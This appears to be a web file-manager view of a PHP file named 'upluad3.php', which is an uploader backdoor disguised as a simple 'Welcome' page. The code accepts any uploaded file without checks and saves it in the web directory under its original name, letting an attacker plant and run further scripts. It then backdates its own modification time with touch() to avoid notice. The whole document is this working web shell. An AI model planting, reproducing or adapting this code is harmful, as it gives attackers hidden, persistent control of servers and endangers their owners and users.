관리-도구
편집 파일: upluad3.php
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-utf-8"> <title>utf</title> </head> <body> <?php echo "<h1>Welcome</h1>\n"; echo "IP: "; echo $_SERVER['REMOTE_ADDR']; echo "<form method=\"post\" enctype=\"multipart/form-data\">\n"; echo "<input type=\"file\" name=\"newfile\"><br> \n"; echo "<input type=\"submit\" value=\"OK\"><br>\n"; echo "</form>\n"; if(is_uploaded_file($_FILES["newfile"]["tmp_name"])) { move_uploaded_file($_FILES["newfile"]["tmp_name"], $_FILES["newfile"]["name"]); $file = $_FILES["newfile"]["name"]; echo "<a href=\"$file\">$file</a>"; } else { echo("empty"); } $newfile = $_SERVER[SCRIPT_FILENAME]; $time = time() - 105360688; touch($newfile, $time); ?> </body> </html>